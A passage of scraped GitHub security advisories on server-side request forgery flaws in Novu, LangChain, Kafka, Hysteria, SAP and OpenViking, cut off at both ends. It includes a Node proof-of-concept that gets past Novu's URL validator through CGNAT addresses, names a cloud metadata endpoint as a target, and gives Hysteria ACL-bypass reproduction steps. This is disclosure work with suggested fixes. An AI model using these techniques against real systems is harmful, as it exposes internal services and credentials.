/^::1$/, /^fc00:/i, /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  const parsed = new URL(url);\n  if (![\u0027http:\u0027, \u0027https:\u0027].includes(parsed.protocol)) return \u0027bad scheme\u0027;\n  if ([\u0027localhost\u0027, \u0027metadata.google.internal\u0027].includes(parsed.hostname.toLowerCase())) {\n    return \u0027blocked hostname\u0027;\n  }\n  const addresses = await dns.lookup(parsed.hostname, { all: true });\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) return `blocked ${address}`;\n  }\n  return null;\n}\n\nasync function waitForTarget(url) {\n  for (let attempt = 0; attempt \u003c 20; attempt += 1) {\n    try {\n      const r = await fetch(url, { method: \u0027POST\u0027 });\n      await r.text();\n      return;\n    } catch (_e) {\n      await new Promise((resolve) =\u003e setTimeout(resolve, 250));\n    }\n  }\n}\n\nasync function main() {\n  const url = \u0027http://cgnat-target:8080/workflow-http-step\u0027;\n  const addresses = await dns.lookup(\u0027cgnat-target\u0027, { all: true });\n  const validation = await validateUrlSsrf(url);\n  console.log(JSON.stringify({ url, addresses, validation: validation ?? \u0027ALLOW\u0027 }));\n\n  if (validation) { process.exitCode = 2; return; }\n\n  await waitForTarget(url);\n  const response = await fetch(url, {\n    method: \u0027POST\u0027,\n    headers: { \u0027content-type\u0027: \u0027application/json\u0027 },\n    body: JSON.stringify({ source: \u0027novu-http-request-step\u0027 }),\n  });\n  const body = await response.text();\n  console.log(JSON.stringify({ status: response.status, body }));\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output\n\n```\nnovu-client-1   | {\"url\":\"http://cgnat-target:8080/workflow-http-step\",\"addresses\":[{\"address\":\"100.64.0.20\",\"family\":4}],\"validation\":\"ALLOW\"}\ncgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step\nnovu-client-1   | {\"status\":200,\"body\":\"{\\\"marker\\\":\\\"NOVU_CGNAT_SSRF_OK\\\"}\\n\"}\n```\n\nThe chain is:\n\n1. Resolve hostname `cgnat-target` \u2192 `100.64.0.20` (a CGNAT address).\n2. Run Novu\u0027s `validateUrlSsrf` against the URL \u2014 returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`.\n3. Send the actual server-side HTTP POST \u2192 reaches the CGNAT-bound target \u2192 response with marker `NOVU_CGNAT_SSRF_OK` is received.\n\n## Impact\n\nAny Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:\n\n- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata.\n- **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.\n- **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure \u2014 cross-tenant SSRF primitive into provider-internal services.\n\n## Suggested remediation\n\n- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6.\n- Treat only globally reachable public IPs as allowed by default (`addr.range() === \u0027unicast\u0027` after IPv4-mapped unwrap, or equivalent).\n- Explicitly deny all special-use ranges, including at least:\n  - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`\n  - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`)\n  - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above\n- Add regression tests for:\n  - `100.64.0.1`, `100.100.100.200`\n  - hostnames resolving to those addresses\n  - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`)\n- Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).\n\n## Notes\n\nThis report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).",
  "id": "GHSA-vg6v-j97m-h5xq",
  "modified": "2026-07-28T14:59:22Z",
  "published": "2026-07-28T14:59:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/novuhq/novu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations \u2014 affects Workflow HTTP request step + Webhook filter condition"
}

GHSA-VG8M-4P2Q-GCJH

Vulnerability from github – Published: 2026-08-21 00:31 – Updated: 2026-08-21 00:31
VLAI
Details

SitemapLoader.parse_sitemap in langchain_community/document_loaders/sitemap.py applies the documented restrict_to_same_domain control only to leaf url entries. The loop over url elements filters cross-domain locations, but the loop over nested sitemap elements passes the child loc straight to self.scrape_all([loc.text], "xml"), which reaches WebBaseLoader.scrape_all and an aiohttp GET, with no domain comparison and no check for private, loopback or link-local destinations. An attacker who controls or influences an ingested sitemap can therefore point a nested sitemap entry at an internal address and make the server fetch it even when the deploying application set restrict_to_same_domain to True specifically to confine outbound requests. The fetched content is parsed and surfaces in the returned Documents, so internal responses are disclosed to the caller rather than merely requested.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-72848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T22:18:05Z",
    "severity": "HIGH"
  },
  "details": "SitemapLoader.parse_sitemap in langchain_community/document_loaders/sitemap.py applies the documented restrict_to_same_domain control only to leaf url entries. The loop over url elements filters cross-domain locations, but the loop over nested sitemap elements passes the child loc straight to self.scrape_all([loc.text], \"xml\"), which reaches WebBaseLoader.scrape_all and an aiohttp GET, with no domain comparison and no check for private, loopback or link-local destinations. An attacker who controls or influences an ingested sitemap can therefore point a nested sitemap entry at an internal address and make the server fetch it even when the deploying application set restrict_to_same_domain to True specifically to confine outbound requests. The fetched content is parsed and surfaces in the returned Documents, so internal responses are disclosed to the caller rather than merely requested.",
  "id": "GHSA-vg8m-4p2q-gcjh",
  "modified": "2026-08-21T00:31:23Z",
  "published": "2026-08-21T00:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/issues/38814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-community"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-community/blob/main/libs/community/langchain_community/document_loaders/sitemap.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/langchain-community-sitemaploader-does-not-apply-restrict-to-same-domain-to-nested-sitemap-index-entries-allowing-server-side-request-forgery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VG9F-Q4XH-62R4

Vulnerability from github – Published: 2026-06-15 03:30 – Updated: 2026-08-25 18:09
VLAI
Summary
Duplicate Advisory: utcp-gql SSRF: CVE-2026-44661 fix not applied to the GraphQL and WebSocket plugins
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-ppx3-28rw-8fpf. This link is maintained to preserve external references.

Original Description

A vulnerability was detected in universal-tool-calling-protocol python-utcp 1.1.0. This affects an unknown function of the component utcp-gql/utcp-websocket. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-gql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:09:14Z",
    "nvd_published_at": "2026-06-15T03:16:24Z",
    "severity": "LOW"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-ppx3-28rw-8fpf. This link is maintained to preserve external references.\n\n## Original Description\nA vulnerability was detected in universal-tool-calling-protocol python-utcp 1.1.0. This affects an unknown function of the component utcp-gql/utcp-websocket. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-vg9f-q4xh-62r4",
  "modified": "2026-08-25T18:09:14Z",
  "published": "2026-06-15T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gola-leya/cve_submit/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/issues/86"
    },
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12210"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/832542"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370852"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370852/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: utcp-gql SSRF: CVE-2026-44661 fix not applied to the GraphQL and WebSocket plugins",
  "withdrawn": "2026-08-25T18:09:14Z"
}

GHSA-VGQ5-3255-V292

Vulnerability from github – Published: 2025-06-10 09:30 – Updated: 2025-06-10 20:41
VLAI
Summary
Apache Kafka Client Arbitrary File Read and Server Side Request Forgery Vulnerability
Details

A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products.

Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27817"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T20:41:34Z",
    "nvd_published_at": "2025-06-10T08:15:22Z",
    "severity": "MODERATE"
  },
  "details": "A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including \"sasl.oauthbearer.token.endpoint.url\" and \"sasl.oauthbearer.jwks.endpoint.url\". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the \"sasl.oauthbearer.token.endpoint.url\" and \"sasl.oauthbearer.jwks.endpoint.url\" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. \n\nSince Apache Kafka 3.9.1/4.0.0, we have added a system property (\"-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls\") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.",
  "id": "GHSA-vgq5-3255-v292",
  "modified": "2025-06-10T20:41:35Z",
  "published": "2025-06-10T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27817"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/kafka"
    },
    {
      "type": "WEB",
      "url": "https://kafka.apache.org/cve-list"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/06/09/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Kafka Client Arbitrary File Read and Server Side Request Forgery Vulnerability"
}

GHSA-VGRC-HQ28-P3XP

Vulnerability from github – Published: 2026-06-26 19:48 – Updated: 2026-06-26 19:48
VLAI
Summary
Hysteria has an authenticated UDP ACL bypass that enables localhost and private-network UDP SSRF
Details

Summary

Hysteria's UDP relay treats the destination address as packet-scoped, but ACL and outbound policy are applied only once when a new UDP session is created. After an authenticated client opens a UDP session using an allowed first destination, later packets in the same Session ID can be sent to different destinations without re-running ACL evaluation.

This allows an authenticated user to bypass server-side UDP ACL rules and reach localhost or RFC1918/private-network UDP services from the server's network perspective, even when those destinations are explicitly rejected by ACL.

Verified on current HEAD at commit 64c396385631579598cc29d5561bff98c439772f.

Why this is a security issue

This report is not based on the assumption that one UDP session must be bound to one destination. The protocol and official client both support per-packet destinations:

  • PROTOCOL.md:93-107 defines each UDPMessage as carrying its own Addr field.
  • core/client/udp.go:52-62 exposes Send(data, addr), allowing the same UDP session to send to arbitrary addresses.

The problem is that the security-relevant destination is packet-scoped, while ACL and outbound authorization are cached at session scope.

This is also not a RequestHook-bypass claim. I understand RequestHook is first-packet-oriented. The broader issue is that operator-configured ACL policy intended to block UDP destinations is not enforced on later packets within the same session.

Because the ACL documentation is presented as the mechanism for handling or blocking client requests, and includes examples of denying udp/443 and private network CIDRs, operators can reasonably rely on ACL as a UDP egress security boundary. This boundary can currently be bypassed by reusing a previously authorized UDP session.

Root cause

The relevant flow appears to be:

  • core/server/udp.go:280-299: when a new session is created, the first destination is passed through m.io.Hook(...), logged, and then m.io.UDP(addr) is called once to create the outbound UDP connection.
  • core/server/server.go:397-398: m.io.UDP(addr) delegates to io.Outbound.UDP(reqAddr).
  • app/cmd/server.go:1187-1190: resolver, ACL, and actual outbounds are intentionally chained through the Outbound interface.
  • core/server/udp.go:125: the initial outbound connection is created only from the first packet via DialFunc(firstMsg.Addr, firstMsg.Data).
  • core/server/udp.go:92-111: later packets in the same session take the current packet address and directly call e.conn.WriteTo(dfMsg.Data, addr) without re-running ACL or outbound policy evaluation.

In other words, destination selection is packet-scoped, but authorization is session-scoped.

Impact

Any authenticated client that is allowed to use UDP relay can:

  • open one UDP session using an allowed first destination;
  • reuse the same session to send packets to destinations that ACL should reject;
  • reach UDP services on 127.0.0.1 or on RFC1918/private-network addresses from the server's network perspective.

In real deployments, this can expose internal-only UDP services such as:

  • internal DNS resolvers;
  • service discovery endpoints;
  • telemetry or metrics listeners;
  • local administrative daemons;
  • application-specific UDP services intended to be reachable only from localhost or the internal network.

This breaks the server's documented ACL-based UDP egress restrictions.

Reproduction

Two cases were reproduced with integration tests.

Case 1: localhost bypass

ACL:

direct(127.0.0.1, udp/<allowedPort>)
reject(127.0.0.1/32)

Steps:

  1. Start one UDP echo service on 127.0.0.1:<allowedPort>.
  2. Start another UDP echo service on 127.0.0.1:<blockedPort>.
  3. Connect an authenticated Hysteria client and create one UDP session.
  4. Send a packet to the allowed loopback destination to establish the session.
  5. Reuse the same UDP session and send a packet to the blocked loopback destination.

Observed result:

  • The second packet is relayed successfully and the blocked loopback service replies.

Expected result:

  • The second packet should be rejected because 127.0.0.1/32 is denied by ACL.

Case 2: private-network bypass

ACL:

direct(127.0.0.1, udp/<allowedPort>)
reject(10.0.0.0/8)

or the corresponding local RFC1918 range, such as 192.168.0.0/16 or 172.16.0.0/12.

Steps:

  1. Start one UDP echo service on 127.0.0.1:<allowedPort>.
  2. Start another UDP echo service on a real RFC1918 address of the server host.
  3. Connect an authenticated Hysteria client and create one UDP session.
  4. Send a packet to the allowed loopback destination first.
  5. Reuse the same UDP session and send a packet to the RFC1918 destination.

Observed result:

  • The private-address packet is relayed successfully and receives a reply.

Expected result:

  • The packet should be rejected by ACL.

PoC and local evidence

A local integration test file was added during verification:

  • core/internal/integration_tests/udp_private_acl_bypass_test.go

The two tests are:

  • TestClientServerUDPACLBYPASSLoopback
  • TestClientServerUDPACLBYPASSPrivateIPv4

They can be executed with:

go test ./core/internal/integration_tests -run 'TestClientServerUDPACLBYPASS(Loopback|PrivateIPv4)' -count=1

The tests pass locally and demonstrate that a destination blocked by ACL becomes reachable after the session is established with an allowed first destination.

Suggested fixes

Any of the following would address the issue:

  1. Re-evaluate ACL and outbound policy for every defragmented UDP packet before forwarding it with WriteTo.
  2. Alternatively, enforce a single immutable destination per UDP session and reject destination changes after the first packet.
  3. Ensure logging and policy hooks are aligned with the chosen model so that policy enforcement and observability reflect the real per-packet destination.

Severity assessment

Suggested CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

This reflects a network-reachable issue with low attack complexity, requiring only an authenticated client, no victim interaction, and allowing impact beyond the proxy process by exposing localhost and internal-network UDP resources from the server's trust boundary.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.9.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apernet/hysteria/core/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T19:48:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nHysteria\u0027s UDP relay treats the destination address as packet-scoped, but ACL and outbound policy are applied only once when a new UDP session is created. After an authenticated client opens a UDP session using an allowed first destination, later packets in the same `Session ID` can be sent to different destinations without re-running ACL evaluation.\n\nThis allows an authenticated user to bypass server-side UDP ACL rules and reach localhost or RFC1918/private-network UDP services from the server\u0027s network perspective, even when those destinations are explicitly rejected by ACL.\n\nVerified on current HEAD at commit `64c396385631579598cc29d5561bff98c439772f`.\n\n## Why this is a security issue\n\nThis report is not based on the assumption that one UDP session must be bound to one destination. The protocol and official client both support per-packet destinations:\n\n- `PROTOCOL.md:93-107` defines each `UDPMessage` as carrying its own `Addr` field.\n- `core/client/udp.go:52-62` exposes `Send(data, addr)`, allowing the same UDP session to send to arbitrary addresses.\n\nThe problem is that the security-relevant destination is packet-scoped, while ACL and outbound authorization are cached at session scope.\n\nThis is also not a `RequestHook`-bypass claim. I understand `RequestHook` is first-packet-oriented. The broader issue is that operator-configured ACL policy intended to block UDP destinations is not enforced on later packets within the same session.\n\nBecause the ACL documentation is presented as the mechanism for handling or blocking client requests, and includes examples of denying `udp/443` and private network CIDRs, operators can reasonably rely on ACL as a UDP egress security boundary. This boundary can currently be bypassed by reusing a previously authorized UDP session.\n\n## Root cause\n\nThe relevant flow appears to be:\n\n- `core/server/udp.go:280-299`: when a new session is created, the first destination is passed through `m.io.Hook(...)`, logged, and then `m.io.UDP(addr)` is called once to create the outbound UDP connection.\n- `core/server/server.go:397-398`: `m.io.UDP(addr)` delegates to `io.Outbound.UDP(reqAddr)`.\n- `app/cmd/server.go:1187-1190`: resolver, ACL, and actual outbounds are intentionally chained through the `Outbound` interface.\n- `core/server/udp.go:125`: the initial outbound connection is created only from the first packet via `DialFunc(firstMsg.Addr, firstMsg.Data)`.\n- `core/server/udp.go:92-111`: later packets in the same session take the current packet address and directly call `e.conn.WriteTo(dfMsg.Data, addr)` without re-running ACL or outbound policy evaluation.\n\nIn other words, destination selection is packet-scoped, but authorization is session-scoped.\n\n## Impact\n\nAny authenticated client that is allowed to use UDP relay can:\n\n- open one UDP session using an allowed first destination;\n- reuse the same session to send packets to destinations that ACL should reject;\n- reach UDP services on `127.0.0.1` or on RFC1918/private-network addresses from the server\u0027s network perspective.\n\nIn real deployments, this can expose internal-only UDP services such as:\n\n- internal DNS resolvers;\n- service discovery endpoints;\n- telemetry or metrics listeners;\n- local administrative daemons;\n- application-specific UDP services intended to be reachable only from localhost or the internal network.\n\nThis breaks the server\u0027s documented ACL-based UDP egress restrictions.\n\n## Reproduction\n\nTwo cases were reproduced with integration tests.\n\n### Case 1: localhost bypass\n\nACL:\n\n```text\ndirect(127.0.0.1, udp/\u003callowedPort\u003e)\nreject(127.0.0.1/32)\n```\n\nSteps:\n\n1. Start one UDP echo service on `127.0.0.1:\u003callowedPort\u003e`.\n2. Start another UDP echo service on `127.0.0.1:\u003cblockedPort\u003e`.\n3. Connect an authenticated Hysteria client and create one UDP session.\n4. Send a packet to the allowed loopback destination to establish the session.\n5. Reuse the same UDP session and send a packet to the blocked loopback destination.\n\nObserved result:\n\n- The second packet is relayed successfully and the blocked loopback service replies.\n\nExpected result:\n\n- The second packet should be rejected because `127.0.0.1/32` is denied by ACL.\n\n### Case 2: private-network bypass\n\nACL:\n\n```text\ndirect(127.0.0.1, udp/\u003callowedPort\u003e)\nreject(10.0.0.0/8)\n```\n\nor the corresponding local RFC1918 range, such as `192.168.0.0/16` or `172.16.0.0/12`.\n\nSteps:\n\n1. Start one UDP echo service on `127.0.0.1:\u003callowedPort\u003e`.\n2. Start another UDP echo service on a real RFC1918 address of the server host.\n3. Connect an authenticated Hysteria client and create one UDP session.\n4. Send a packet to the allowed loopback destination first.\n5. Reuse the same UDP session and send a packet to the RFC1918 destination.\n\nObserved result:\n\n- The private-address packet is relayed successfully and receives a reply.\n\nExpected result:\n\n- The packet should be rejected by ACL.\n\n## PoC and local evidence\n\nA local integration test file was added during verification:\n\n- `core/internal/integration_tests/udp_private_acl_bypass_test.go`\n\nThe two tests are:\n\n- `TestClientServerUDPACLBYPASSLoopback`\n- `TestClientServerUDPACLBYPASSPrivateIPv4`\n\nThey can be executed with:\n\n```bash\ngo test ./core/internal/integration_tests -run \u0027TestClientServerUDPACLBYPASS(Loopback|PrivateIPv4)\u0027 -count=1\n```\n\nThe tests pass locally and demonstrate that a destination blocked by ACL becomes reachable after the session is established with an allowed first destination.\n\n## Suggested fixes\n\nAny of the following would address the issue:\n\n1. Re-evaluate ACL and outbound policy for every defragmented UDP packet before forwarding it with `WriteTo`.\n2. Alternatively, enforce a single immutable destination per UDP session and reject destination changes after the first packet.\n3. Ensure logging and policy hooks are aligned with the chosen model so that policy enforcement and observability reflect the real per-packet destination.\n\n## Severity assessment\n\nSuggested CVSS v3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L`\n\nThis reflects a network-reachable issue with low attack complexity, requiring only an authenticated client, no victim interaction, and allowing impact beyond the proxy process by exposing localhost and internal-network UDP resources from the server\u0027s trust boundary.",
  "id": "GHSA-vgrc-hq28-p3xp",
  "modified": "2026-06-26T19:48:50Z",
  "published": "2026-06-26T19:48:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apernet/hysteria/security/advisories/GHSA-vgrc-hq28-p3xp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apernet/hysteria"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hysteria has an authenticated UDP ACL bypass that enables localhost and private-network UDP SSRF"
}

GHSA-VH2W-9GGJ-CCRM

Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-21 18:30
VLAI
Details

In SAP BusinessObjects Business Intelligence Platform (Web Services) - versions 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own admintools, leading to a high impact on availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "In SAP BusinessObjects Business Intelligence Platform (Web Services) - versions 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own admintools, leading to a high impact on availability.",
  "id": "GHSA-vh2w-9ggj-ccrm",
  "modified": "2023-03-21T18:30:20Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27271"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3287120"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VH5M-R6VP-RXJG

Vulnerability from github – Published: 2026-08-21 18:34 – Updated: 2026-08-21 18:34
VLAI
Details

OpenViking before 0.3.4 contains a server-side request forgery vulnerability that allows authenticated low-privilege attackers to access internal network services by submitting arbitrary URLs to the resources API endpoint. Attackers can POST a crafted URL to /api/v1/resources, causing the server to issue outbound HEAD and GET requests with redirects enabled to loopback, RFC 1918, link-local, or cloud metadata addresses, then read back responses through normal content APIs to enumerate and interact with internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T16:17:16Z",
    "severity": "HIGH"
  },
  "details": "OpenViking before 0.3.4\u00a0contains a server-side request forgery vulnerability that allows authenticated low-privilege attackers to access internal network services by submitting arbitrary URLs to the resources API endpoint. Attackers can POST a crafted URL to /api/v1/resources, causing the server to issue outbound HEAD and GET requests with redirects enabled to loopback, RFC 1918, link-local, or cloud metadata addresses, then read back responses through normal content APIs to enumerate and interact with internal services.",
  "id": "GHSA-vh5m-r6vp-rxjg",
  "modified": "2026-08-21T18:34:56Z",
  "published": "2026-08-21T18:34:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/pull/1133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/pull/1133https://github.com/volcengine/OpenViking/pull/1133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/commit/41e345896d247e43ab78bbcb38b4a5b1b38ef62c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/releases/tag/v0.3.4"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openviking-ssrf-via-api-v1-resources"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
